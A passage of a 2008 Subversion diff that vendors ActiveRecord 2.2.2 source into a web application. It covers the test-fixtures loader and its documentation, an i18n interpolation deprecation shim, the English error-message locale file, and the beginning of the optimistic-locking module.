+#       assert_equal 2, WebSite.count
+#     end
+#   end
+#
+# As it stands, unless we pre-load the web_site table in our database with two records, this test will fail.  Here's the
+# easiest way to add fixtures to the database:
+#
+#   ...
+#   class WebSiteTest < ActiveSupport::TestCase
+#     fixtures :web_sites # add more by separating the symbols with commas
+#   ...
+#
+# By adding a "fixtures" method to the test case and passing it a list of symbols (only one is shown here though), we trigger
+# the testing environment to automatically load the appropriate fixtures into the database before each test.
+# To ensure consistent data, the environment deletes the fixtures before running the load.
+#
+# In addition to being available in the database, the fixtures are also loaded into a hash stored in an instance variable
+# of the test case.  It is named after the symbol... so, in our example, there would be a hash available called
+# <tt>@web_sites</tt>.  This is where the "fixture name" comes into play.
+#
+# On top of that, each record is automatically "found" (using <tt>Model.find(id)</tt>) and placed in the instance variable of its name.
+# So for the YAML fixtures, we'd get <tt>@rubyonrails</tt> and <tt>@google</tt>, which could be interrogated using regular Active Record semantics:
+#
+#   # test if the object created from the fixture data has the same attributes as the data itself
+#   def test_find
+#     assert_equal @web_sites["rubyonrails"]["name"], @rubyonrails.name
+#   end
+#
+# As seen above, the data hash created from the YAML fixtures would have <tt>@web_sites["rubyonrails"]["url"]</tt> return
+# "http://www.rubyonrails.org" and <tt>@web_sites["google"]["name"]</tt> would return "Google". The same fixtures, but loaded
+# from a CSV fixture file, would be accessible via <tt>@web_sites["web_site_1"]["name"] == "Ruby on Rails"</tt> and have the individual
+# fixtures available as instance variables <tt>@web_site_1</tt> and <tt>@web_site_2</tt>.
+#
+# If you do not wish to use instantiated fixtures (usually for performance reasons) there are two options.
+#
+#   - to completely disable instantiated fixtures:
+#       self.use_instantiated_fixtures = false
+#
+#   - to keep the fixture instance (@web_sites) available, but do not automatically 'find' each instance:
+#       self.use_instantiated_fixtures = :no_instances
+#
+# Even if auto-instantiated fixtures are disabled, you can still access them
+# by name via special dynamic methods. Each method has the same name as the
+# model, and accepts the name of the fixture to instantiate:
+#
+#   fixtures :web_sites
+#
+#   def test_find
+#     assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+#   end
+#
+# = Dynamic fixtures with ERb
+#
+# Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can
+# mix ERb in with your YAML or CSV fixtures to create a bunch of fixtures for load testing, like:
+#
+#   <% for i in 1..1000 %>
+#   fix_<%= i %>:
+#     id: <%= i %>
+#     name: guy_<%= 1 %>
+#   <% end %>
+#
+# This will create 1000 very simple YAML fixtures.
+#
+# Using ERb, you can also inject dynamic values into your fixtures with inserts like <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
+# This is however a feature to be used with some caution. The point of fixtures are that they're stable units of predictable
+# sample data. If you feel that you need to inject dynamic values, then perhaps you should reexamine whether your application
+# is properly testable. Hence, dynamic values in fixtures are to be considered a code smell.
+#
+# = Transactional fixtures
+#
+# TestCases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case.
+# They can also turn off auto-instantiation of fixture data since the feature is costly and often unused.
+#
+#   class FooTest < ActiveSupport::TestCase
+#     self.use_transactional_fixtures = true
+#     self.use_instantiated_fixtures = false
+#
+#     fixtures :foos
+#
+#     def test_godzilla
+#       assert !Foo.find(:all).empty?
+#       Foo.destroy_all
+#       assert Foo.find(:all).empty?
+#     end
+#
+#     def test_godzilla_aftermath
+#       assert !Foo.find(:all).empty?
+#     end
+#   end
+#
+# If you preload your test database with all fixture data (probably in the Rakefile task) and use transactional fixtures,
+# then you may omit all fixtures declarations in your test cases since all the data's already there and every case rolls back its changes.
+#
+# In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to true. This will provide
+# access to fixture data for every table that has been loaded through fixtures (depending on the value of +use_instantiated_fixtures+)
+#
+# When *not* to use transactional fixtures:
+#   1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
+#      particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
+#      the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+#   2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+#      Use InnoDB, MaxDB, or NDB instead.
+#
+# = Advanced YAML Fixtures
+#
+# YAML fixtures that don't specify an ID get some extra features:
+#
+# * Stable, autogenerated ID's
+# * Label references for associations (belongs_to, has_one, has_many)
+# * HABTM associations as inline lists
+# * Autofilled timestamp columns
+# * Fixture label interpolation
+# * Support for YAML defaults
+#
+# == Stable, autogenerated ID's
+#
+# Here, have a monkey fixture:
+#
+#   george:
+#     id: 1
+#     name: George the Monkey
+#
+#   reginald:
+#     id: 2
+#     name: Reginald the Pirate
+#
+# Each of these fixtures has two unique identifiers: one for the database
+# and one for the humans. Why don't we generate the primary key instead?
+# Hashing each fixture's label yields a consistent ID:
+#
+#   george: # generated id: 503576764
+#     name: George the Monkey
+#
+#   reginald: # generated id: 324201669
+#     name: Reginald the Pirate
+#
+# Active Record looks at the fixture's model class, discovers the correct
+# primary key, and generates it right before inserting the fixture
+# into the database.
+#
+# The generated ID for a given label is constant, so we can discover
+# any fixture's ID without loading anything, as long as we know the label.
+#
+# == Label references for associations (belongs_to, has_one, has_many)
+#
+# Specifying foreign keys in fixtures can be very fragile, not to
+# mention difficult to read. Since Active Record can figure out the ID of
+# any fixture from its label, you can specify FK's by label instead of ID.
+#
+# === belongs_to
+#
+# Let's break out some more monkeys and pirates.
+#
+#   ### in pirates.yml
+#
+#   reginald:
+#     id: 1
+#     name: Reginald the Pirate
+#     monkey_id: 1
+#
+#   ### in monkeys.yml
+#
+#   george:
+#     id: 1
+#     name: George the Monkey
+#     pirate_id: 1
+#
+# Add a few more monkeys and pirates and break this into multiple files,
+# and it gets pretty hard to keep track of what's going on. Let's
+# use labels instead of ID's:
+#
+#   ### in pirates.yml
+#
+#   reginald:
+#     name: Reginald the Pirate
+#     monkey: george
+#
+#   ### in monkeys.yml
+#
+#   george:
+#     name: George the Monkey
+#     pirate: reginald
+#
+# Pow! All is made clear. Active Record reflects on the fixture's model class,
+# finds all the +belongs_to+ associations, and allows you to specify
+# a target *label* for the *association* (monkey: george) rather than
+# a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
+#
+# ==== Polymorphic belongs_to
+#
+# Supporting polymorphic relationships is a little bit more complicated, since
+# Active Record needs to know what type your association is pointing at. Something
+# like this should look familiar:
+#
+#   ### in fruit.rb
+#
+#   belongs_to :eater, :polymorphic => true
+#
+#   ### in fruits.yml
+#
+#   apple:
+#     id: 1
+#     name: apple
+#     eater_id: 1
+#     eater_type: Monkey
+#
+# Can we do better? You bet!
+#
+#   apple:
+#     eater: george (Monkey)
+#
+# Just provide the polymorphic target type and Active Record will take care of the rest.
+#
+# === has_and_belongs_to_many
+#
+# Time to give our monkey some fruit.
+#
+#   ### in monkeys.yml
+#
+#   george:
+#     id: 1
+#     name: George the Monkey
+#     pirate_id: 1
+#
+#   ### in fruits.yml
+#
+#   apple:
+#     id: 1
+#     name: apple
+#
+#   orange:
+#     id: 2
+#     name: orange
+#
+#   grape:
+#     id: 3
+#     name: grape
+#
+#   ### in fruits_monkeys.yml
+#
+#   apple_george:
+#     fruit_id: 1
+#     monkey_id: 1
+#
+#   orange_george:
+#     fruit_id: 2
+#     monkey_id: 1
+#
+#   grape_george:
+#     fruit_id: 3
+#     monkey_id: 1
+#
+# Let's make the HABTM fixture go away.
+#
+#   ### in monkeys.yml
+#
+#   george:
+#     name: George the Monkey
+#     pirate: reginald
+#     fruits: apple, orange, grape
+#
+#   ### in fruits.yml
+#
+#   apple:
+#     name: apple
+#
+#   orange:
+#     name: orange
+#
+#   grape:
+#     name: grape
+#
+# Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
+# on George's fixture, but we could've just as easily specified a list
+# of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
+# the fixture's model class and discovers the +has_and_belongs_to_many+
+# associations.
+#
+# == Autofilled timestamp columns
+#
+# If your table/model specifies any of Active Record's
+# standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
+# they will automatically be set to <tt>Time.now</tt>.
+#
+# If you've set specific values, they'll be left alone.
+#
+# == Fixture label interpolation
+#
+# The label of the current fixture is always available as a column value:
+#
+#   geeksomnia:
+#     name: Geeksomnia's Account
+#     subdomain: $LABEL
+#
+# Also, sometimes (like when porting older join table fixtures) you'll need
+# to be able to get ahold of the identifier for a given label. ERB
+# to the rescue:
+#
+#   george_reginald:
+#     monkey_id: <%= Fixtures.identify(:reginald) %>
+#     pirate_id: <%= Fixtures.identify(:george) %>
+#
+# == Support for YAML defaults
+#
+# You probably already know how to use YAML to set and reuse defaults in
+# your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+#
+#   DEFAULTS: &DEFAULTS
+#     created_on: <%= 3.weeks.ago.to_s(:db) %>
+#
+#   first:
+#     name: Smurf
+#     <<: *DEFAULTS
+#
+#   second:
+#     name: Fraggle
+#     <<: *DEFAULTS
+#
+# Any fixture labeled "DEFAULTS" is safely ignored.
+
+class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
+  DEFAULT_FILTER_RE = /\.ya?ml$/
+
+  @@all_cached_fixtures = {}
+
+  def self.reset_cache(connection = nil)
+    connection ||= ActiveRecord::Base.connection
+    @@all_cached_fixtures[connection.object_id] = {}
+  end
+
+  def self.cache_for_connection(connection)
+    @@all_cached_fixtures[connection.object_id] ||= {}
+    @@all_cached_fixtures[connection.object_id]
+  end
+
+  def self.fixture_is_cached?(connection, table_name)
+    cache_for_connection(connection)[table_name]
+  end
+
+  def self.cached_fixtures(connection, keys_to_fetch = nil)
+    if keys_to_fetch
+      fixtures = cache_for_connection(connection).values_at(*keys_to_fetch)
+    else
+      fixtures = cache_for_connection(connection).values
+    end
+    fixtures.size > 1 ? fixtures : fixtures.first
+  end
+
+  def self.cache_fixtures(connection, fixtures_map)
+    cache_for_connection(connection).update(fixtures_map)
+  end
+
+  def self.instantiate_fixtures(object, table_name, fixtures, load_instances = true)
+    object.instance_variable_set "@#{table_name.to_s.gsub('.','_')}", fixtures
+    if load_instances
+      ActiveRecord::Base.silence do
+        fixtures.each do |name, fixture|
+          begin
+            object.instance_variable_set "@#{name}", fixture.find
+          rescue FixtureClassNotFound
+            nil
+          end
+        end
+      end
+    end
+  end
+
+  def self.instantiate_all_loaded_fixtures(object, load_instances = true)
+    all_loaded_fixtures.each do |table_name, fixtures|
+      Fixtures.instantiate_fixtures(object, table_name, fixtures, load_instances)
+    end
+  end
+
+  cattr_accessor :all_loaded_fixtures
+  self.all_loaded_fixtures = {}
+
+  def self.create_fixtures(fixtures_directory, table_names, class_names = {})
+    table_names = [table_names].flatten.map { |n| n.to_s }
+    connection  = block_given? ? yield : ActiveRecord::Base.connection
+
+    table_names_to_fetch = table_names.reject { |table_name| fixture_is_cached?(connection, table_name) }
+
+    unless table_names_to_fetch.empty?
+      ActiveRecord::Base.silence do
+        connection.disable_referential_integrity do
+          fixtures_map = {}
+
+          fixtures = table_names_to_fetch.map do |table_name|
+            fixtures_map[table_name] = Fixtures.new(connection, File.split(table_name.to_s).last, class_names[table_name.to_sym], File.join(fixtures_directory, table_name.to_s))
+          end
+
+          all_loaded_fixtures.update(fixtures_map)
+
+          connection.transaction(connection.open_transactions.zero?) do
+            fixtures.reverse.each { |fixture| fixture.delete_existing_fixtures }
+            fixtures.each { |fixture| fixture.insert_fixtures }
+
+            # Cap primary key sequences to max(pk).
+            if connection.respond_to?(:reset_pk_sequence!)
+              table_names.each do |table_name|
+                connection.reset_pk_sequence!(table_name)
+              end
+            end
+          end
+
+          cache_fixtures(connection, fixtures_map)
+        end
+      end
+    end
+    cached_fixtures(connection, table_names)
+  end
+
+  # Returns a consistent identifier for +label+. This will always
+  # be a positive integer, and will always be the same for a given
+  # label, assuming the same OS, platform, and version of Ruby.
+  def self.identify(label)
+    label.to_s.hash.abs
+  end
+
+  attr_reader :table_name, :name
+
+  def initialize(connection, table_name, class_name, fixture_path, file_filter = DEFAULT_FILTER_RE)
+    @connection, @table_name, @fixture_path, @file_filter = connection, table_name, fixture_path, file_filter
+    @name = table_name # preserve fixture base name
+    @class_name = class_name ||
+                  (ActiveRecord::Base.pluralize_table_names ? @table_name.singularize.camelize : @table_name.camelize)
+    @table_name = "#{ActiveRecord::Base.table_name_prefix}#{@table_name}#{ActiveRecord::Base.table_name_suffix}"
+    @table_name = class_name.table_name if class_name.respond_to?(:table_name)
+    @connection = class_name.connection if class_name.respond_to?(:connection)
+    read_fixture_files
+  end
+
+  def delete_existing_fixtures
+    @connection.delete "DELETE FROM #{@connection.quote_table_name(table_name)}", 'Fixture Delete'
+  end
+
+  def insert_fixtures
+    now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
+    now = now.to_s(:db)
+
+    # allow a standard key to be used for doing defaults in YAML
+    if is_a?(Hash)
+      delete('DEFAULTS')
+    else
+      delete(assoc('DEFAULTS'))
+    end
+
+    # track any join tables we need to insert later
+    habtm_fixtures = Hash.new do |h, habtm|
+      h[habtm] = HabtmFixtures.new(@connection, habtm.options[:join_table], nil, nil)
+    end
+
+    each do |label, fixture|
+      row = fixture.to_hash
+
+      if model_class && model_class < ActiveRecord::Base
+        # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
+        if model_class.record_timestamps
+          timestamp_column_names.each do |name|
+            row[name] = now unless row.key?(name)
+          end
+        end
+
+        # interpolate the fixture label
+        row.each do |key, value|
+          row[key] = label if value == "$LABEL"
+        end
+
+        # generate a primary key if necessary
+        if has_primary_key_column? && !row.include?(primary_key_name)
+          row[primary_key_name] = Fixtures.identify(label)
+        end
+
+        # If STI is used, find the correct subclass for association reflection
+        reflection_class =
+          if row.include?(inheritance_column_name)
+            row[inheritance_column_name].constantize rescue model_class
+          else
+            model_class
+          end
+
+        reflection_class.reflect_on_all_associations.each do |association|
+          case association.macro
+          when :belongs_to
+            # Do not replace association name with association foreign key if they are named the same
+            fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
+
+            if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
+              if association.options[:polymorphic]
+                if value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
+                  target_type = $1
+                  target_type_name = (association.options[:foreign_type] || "#{association.name}_type").to_s
+
+                  # support polymorphic belongs_to as "label (Type)"
+                  row[target_type_name] = target_type
+                end
+              end
+
+              row[fk_name] = Fixtures.identify(value)
+            end
+          when :has_and_belongs_to_many
+            if (targets = row.delete(association.name.to_s))
+              targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+              join_fixtures = habtm_fixtures[association]
+
+              targets.each do |target|
+                join_fixtures["#{label}_#{target}"] = Fixture.new(
+                  { association.primary_key_name => row[primary_key_name],
+                    association.association_foreign_key => Fixtures.identify(target) }, nil)
+              end
+            end
+          end
+        end
+      end
+
+      @connection.insert_fixture(fixture, @table_name)
+    end
+
+    # insert any HABTM join tables we discovered
+    habtm_fixtures.values.each do |fixture|
+      fixture.delete_existing_fixtures
+      fixture.insert_fixtures
+    end
+  end
+
+  private
+    class HabtmFixtures < ::Fixtures #:nodoc:
+      def read_fixture_files; end
+    end
+
+    def model_class
+      unless defined?(@model_class)
+        @model_class =
+          if @class_name.nil? || @class_name.is_a?(Class)
+            @class_name
+          else
+            @class_name.constantize rescue nil
+          end
+      end
+
+      @model_class
+    end
+
+    def primary_key_name
+      @primary_key_name ||= model_class && model_class.primary_key
+    end
+
+    def has_primary_key_column?
+      @has_primary_key_column ||= model_class && primary_key_name &&
+        model_class.columns.find { |c| c.name == primary_key_name }
+    end
+
+    def timestamp_column_names
+      @timestamp_column_names ||= %w(created_at created_on updated_at updated_on).select do |name|
+        column_names.include?(name)
+      end
+    end
+
+    def inheritance_column_name
+      @inheritance_column_name ||= model_class && model_class.inheritance_column
+    end
+
+    def column_names
+      @column_names ||= @connection.columns(@table_name).collect(&:name)
+    end
+
+    def read_fixture_files
+      if File.file?(yaml_file_path)
+        read_yaml_fixture_files
+      elsif File.file?(csv_file_path)
+        read_csv_fixture_files
+      end
+    end
+
+    def read_yaml_fixture_files
+      yaml_string = ""
+      Dir["#{@fixture_path}/**/*.yml"].select { |f| test(?f, f) }.each do |subfixture_path|
+        yaml_string << IO.read(subfixture_path)
+      end
+      yaml_string << IO.read(yaml_file_path)
+
+      if yaml = parse_yaml_string(yaml_string)
+        # If the file is an ordered map, extract its children.
+        yaml_value =
+          if yaml.respond_to?(:type_id) && yaml.respond_to?(:value)
+            yaml.value
+          else
+            [yaml]
+          end
+
+        yaml_value.each do |fixture|
+          raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{fixture}" unless fixture.respond_to?(:each)
+	  fixture.each do |name, data|
+            unless data
+              raise Fixture::FormatError, "Bad data for #{@class_name} fixture named #{name} (nil)"
+            end
+
+            self[name] = Fixture.new(data, model_class)
+          end
+        end
+      end
+    end
+
+    def read_csv_fixture_files
+      reader = CSV.parse(erb_render(IO.read(csv_file_path)))
+      header = reader.shift
+      i = 0
+      reader.each do |row|
+        data = {}
+        row.each_with_index { |cell, j| data[header[j].to_s.strip] = cell.to_s.strip }
+        self["#{@class_name.to_s.underscore}_#{i+=1}"] = Fixture.new(data, model_class)
+      end
+    end
+
+    def yaml_file_path
+      "#{@fixture_path}.yml"
+    end
+
+    def csv_file_path
+      @fixture_path + ".csv"
+    end
+
+    def yaml_fixtures_key(path)
+      File.basename(@fixture_path).split(".").first
+    end
+
+    def parse_yaml_string(fixture_content)
+      YAML::load(erb_render(fixture_content))
+    rescue => error
+      raise Fixture::FormatError, "a YAML error occurred parsing #{yaml_file_path}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}"
+    end
+
+    def erb_render(fixture_content)
+      ERB.new(fixture_content).result
+    end
+end
+
+class Fixture #:nodoc:
+  include Enumerable
+
+  class FixtureError < StandardError #:nodoc:
+  end
+
+  class FormatError < FixtureError #:nodoc:
+  end
+
+  attr_reader :model_class
+
+  def initialize(fixture, model_class)
+    @fixture = fixture
+    @model_class = model_class.is_a?(Class) ? model_class : model_class.constantize rescue nil
+  end
+
+  def class_name
+    @model_class.name if @model_class
+  end
+
+  def each
+    @fixture.each { |item| yield item }
+  end
+
+  def [](key)
+    @fixture[key]
+  end
+
+  def to_hash
+    @fixture
+  end
+
+  def key_list
+    columns = @fixture.keys.collect{ |column_name| ActiveRecord::Base.connection.quote_column_name(column_name) }
+    columns.join(", ")
+  end
+
+  def value_list
+    list = @fixture.inject([]) do |fixtures, (key, value)|
+      col = model_class.columns_hash[key] if model_class.respond_to?(:ancestors) && model_class.ancestors.include?(ActiveRecord::Base)
+      fixtures << ActiveRecord::Base.connection.quote(value, col).gsub('[^\]\\n', "\n").gsub('[^\]\\r', "\r")
+    end
+    list * ', '
+  end
+
+  def find
+    if model_class
+      model_class.find(self[model_class.primary_key])
+    else
+      raise FixtureClassNotFound, "No class attached to find."
+    end
+  end
+end
+
+module Test #:nodoc:
+  module Unit #:nodoc:
+    class TestCase #:nodoc:
+      setup :setup_fixtures
+      teardown :teardown_fixtures
+
+      superclass_delegating_accessor :fixture_path
+      superclass_delegating_accessor :fixture_table_names
+      superclass_delegating_accessor :fixture_class_names
+      superclass_delegating_accessor :use_transactional_fixtures
+      superclass_delegating_accessor :use_instantiated_fixtures   # true, false, or :no_instances
+      superclass_delegating_accessor :pre_loaded_fixtures
+
+      self.fixture_table_names = []
+      self.use_transactional_fixtures = false
+      self.use_instantiated_fixtures = true
+      self.pre_loaded_fixtures = false
+
+      @@already_loaded_fixtures = {}
+      self.fixture_class_names = {}
+
+      class << self
+        def set_fixture_class(class_names = {})
+          self.fixture_class_names = self.fixture_class_names.merge(class_names)
+        end
+
+        def fixtures(*table_names)
+          if table_names.first == :all
+            table_names = Dir["#{fixture_path}/*.yml"] + Dir["#{fixture_path}/*.csv"]
+            table_names.map! { |f| File.basename(f).split('.')[0..-2].join('.') }
+          else
+            table_names = table_names.flatten.map { |n| n.to_s }
+          end
+
+          self.fixture_table_names |= table_names
+          require_fixture_classes(table_names)
+          setup_fixture_accessors(table_names)
+        end
+
+        def try_to_load_dependency(file_name)
+          require_dependency file_name
+        rescue LoadError => e
+          # Let's hope the developer has included it himself
+
+          # Let's warn in case this is a subdependency, otherwise
+          # subdependency error messages are totally cryptic
+          if ActiveRecord::Base.logger
+            ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
+          end
+        end
+
+        def require_fixture_classes(table_names = nil)
+          (table_names || fixture_table_names).each do |table_name|
+            file_name = table_name.to_s
+            file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
+            try_to_load_dependency(file_name)
+          end
+        end
+
+        def setup_fixture_accessors(table_names = nil)
+          table_names = [table_names] if table_names && !table_names.respond_to?(:each)
+          (table_names || fixture_table_names).each do |table_name|
+            table_name = table_name.to_s.tr('.', '_')
+
+            define_method(table_name) do |*fixtures|
+              force_reload = fixtures.pop if fixtures.last == true || fixtures.last == :reload
+
+              @fixture_cache[table_name] ||= {}
+
+              instances = fixtures.map do |fixture|
+                @fixture_cache[table_name].delete(fixture) if force_reload
+
+                if @loaded_fixtures[table_name][fixture.to_s]
+                  @fixture_cache[table_name][fixture] ||= @loaded_fixtures[table_name][fixture.to_s].find
+                else
+                  raise StandardError, "No fixture with name '#{fixture}' found for table '#{table_name}'"
+                end
+              end
+
+              instances.size == 1 ? instances.first : instances
+            end
+          end
+        end
+
+        def uses_transaction(*methods)
+          @uses_transaction = [] unless defined?(@uses_transaction)
+          @uses_transaction.concat methods.map(&:to_s)
+        end
+
+        def uses_transaction?(method)
+          @uses_transaction = [] unless defined?(@uses_transaction)
+          @uses_transaction.include?(method.to_s)
+        end
+      end
+
+      def use_transactional_fixtures?
+        use_transactional_fixtures &&
+          !self.class.uses_transaction?(method_name)
+      end
+
+      def setup_fixtures
+        return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+
+        if pre_loaded_fixtures && !use_transactional_fixtures
+          raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
+        end
+
+        @fixture_cache = {}
+
+        # Load fixtures once and begin transaction.
+        if use_transactional_fixtures?
+          if @@already_loaded_fixtures[self.class]
+            @loaded_fixtures = @@already_loaded_fixtures[self.class]
+          else
+            load_fixtures
+            @@already_loaded_fixtures[self.class] = @loaded_fixtures
+          end
+          ActiveRecord::Base.connection.increment_open_transactions
+          ActiveRecord::Base.connection.begin_db_transaction
+        # Load fixtures for every test.
+        else
+          Fixtures.reset_cache
+          @@already_loaded_fixtures[self.class] = nil
+          load_fixtures
+        end
+
+        # Instantiate fixtures for every test if requested.
+        instantiate_fixtures if use_instantiated_fixtures
+      end
+
+      def teardown_fixtures
+        return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+
+        unless use_transactional_fixtures?
+          Fixtures.reset_cache
+        end
+
+        # Rollback changes if a transaction is active.
+        if use_transactional_fixtures? && ActiveRecord::Base.connection.open_transactions != 0
+          ActiveRecord::Base.connection.rollback_db_transaction
+          ActiveRecord::Base.connection.decrement_open_transactions
+        end
+        ActiveRecord::Base.clear_active_connections!
+      end
+
+      private
+        def load_fixtures
+          @loaded_fixtures = {}
+          fixtures = Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+          unless fixtures.nil?
+            if fixtures.instance_of?(Fixtures)
+              @loaded_fixtures[fixtures.name] = fixtures
+            else
+              fixtures.each { |f| @loaded_fixtures[f.name] = f }
+            end
+          end
+        end
+
+        # for pre_loaded_fixtures, only require the classes once. huge speed improvement
+        @@required_fixture_classes = false
+
+        def instantiate_fixtures
+          if pre_loaded_fixtures
+            raise RuntimeError, 'Load fixtures before instantiating them.' if Fixtures.all_loaded_fixtures.empty?
+            unless @@required_fixture_classes
+              self.class.require_fixture_classes Fixtures.all_loaded_fixtures.keys
+              @@required_fixture_classes = true
+            end
+            Fixtures.instantiate_all_loaded_fixtures(self, load_instances?)
+          else
+            raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
+            @loaded_fixtures.each do |table_name, fixtures|
+              Fixtures.instantiate_fixtures(self, table_name, fixtures, load_instances?)
+            end
+          end
+        end
+
+        def load_instances?
+          use_instantiated_fixtures != :no_instances
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/i18n_interpolation_deprecation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/i18n_interpolation_deprecation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/i18n_interpolation_deprecation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+# Deprecates the use of the former message interpolation syntax in activerecord
+# as in "must have %d characters". The new syntax uses explicit variable names
+# as in "{{value}} must have {{count}} characters".
+
+require 'i18n/backend/simple'
+module I18n
+  module Backend
+    class Simple
+      DEPRECATED_INTERPOLATORS = { '%d' => '{{count}}', '%s' => '{{value}}' }
+
+      protected
+        def interpolate_with_deprecated_syntax(locale, string, values = {})
+          return string unless string.is_a?(String)
+
+          string = string.gsub(/%d|%s/) do |s|
+            instead = DEPRECATED_INTERPOLATORS[s]
+            ActiveSupport::Deprecation.warn "using #{s} in messages is deprecated; use #{instead} instead."
+            instead
+          end
+
+          interpolate_without_deprecated_syntax(locale, string, values)
+        end
+        alias_method_chain :interpolate, :deprecated_syntax
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locale/en.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locale/en.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locale/en.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+en:
+  activerecord:
+    errors:
+      # The values :model, :attribute and :value are always available for interpolation
+      # The value :count is available when applicable. Can be used for pluralization.
+      messages:
+        inclusion: "is not included in the list"
+        exclusion: "is reserved"
+        invalid: "is invalid"
+        confirmation: "doesn't match confirmation"
+        accepted: "must be accepted"
+        empty: "can't be empty"
+        blank: "can't be blank"
+        too_long: "is too long (maximum is {{count}} characters)"
+        too_short: "is too short (minimum is {{count}} characters)"
+        wrong_length: "is the wrong length (should be {{count}} characters)"
+        taken: "has already been taken"
+        not_a_number: "is not a number"
+        greater_than: "must be greater than {{count}}"
+        greater_than_or_equal_to: "must be greater than or equal to {{count}}"
+        equal_to: "must be equal to {{count}}"
+        less_than: "must be less than {{count}}"
+        less_than_or_equal_to: "must be less than or equal to {{count}}"
+        odd: "must be odd"
+        even: "must be even"
+        # Append your own errors here or at the model/attributes scope.
+
+      # You can define own errors for models or model attributes.
+      # The values :model, :attribute and :value are always available for interpolation.
+      #
+      # For example,
+      #   models:
+      #     user:
+      #       blank: "This is a custom blank message for {{model}}: {{attribute}}"
+      #       attributes:
+      #         login:
+      #           blank: "This is a custom blank message for User login"
+      # Will define custom blank validation message for User model and 
+      # custom blank validation message for login attribute of User model.
+      models:
+        
+    # Translate model names. Used in Model.human_name().
+    #models:
+      # For example,
+      #   user: "Dude"
+      # will translate User model name to "Dude"
+    
+    # Translate model attribute names. Used in Model.human_attribute_name(attribute).
+    #attributes:
+      # For example,
+      #   user:
+      #     login: "Handle"
+      # will translate User attribute "login" as "Handle"
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/optimistic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/optimistic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking/optimistic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,148 @@
+module ActiveRecord
+  module Locking
+    # == What is Optimistic Locking
+    #
+    # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
+    # conflicts with the data.  It does this by checking whether another process has made changes to a record since
+    # it was opened, an ActiveRecord::StaleObjectError is thrown if that has occurred and the update is ignored.
+    #
+    # Check out ActiveRecord::Locking::Pessimistic for an alternative.
+    #
+    # == Usage
+    #
+    # Active Records support optimistic locking if the field <tt>lock_version</tt> is present.  Each update to the
+    # record increments the lock_version column and the locking facilities ensure that records instantiated twice
+    # will let the last one saved raise a StaleObjectError if the first was also updated. Example:
+    #
+    #   p1 = Person.find(1)
+    #   p2 = Person.find(1)
+    #
+    #   p1.first_name = "Michael"
+    #   p1.save
+    #
+    #   p2.first_name = "should fail"
+    #   p2.save # Raises a ActiveRecord::StaleObjectError
+    #
+    # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+    # or otherwise apply the business logic needed to resolve the conflict.
+    #
+    # You must ensure that your database schema defaults the lock_version column to 0.
+    #
+    # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+    # To override the name of the lock_version column, invoke the <tt>set_locking_column</tt> method.
+    # This method uses the same syntax as <tt>set_table_name</tt>
+    module Optimistic
+      def self.included(base) #:nodoc:
+        base.extend ClassMethods
+
+        base.cattr_accessor :lock_optimistically, :instance_writer => false
+        base.lock_optimistically = true
+
+        base.alias_method_chain :update, :lock
+        base.alias_method_chain :attributes_from_column_definition, :lock
+
+        class << base
+          alias_method :locking_column=, :set_locking_column
+        end
+      end
+
+      def locking_enabled? #:nodoc:
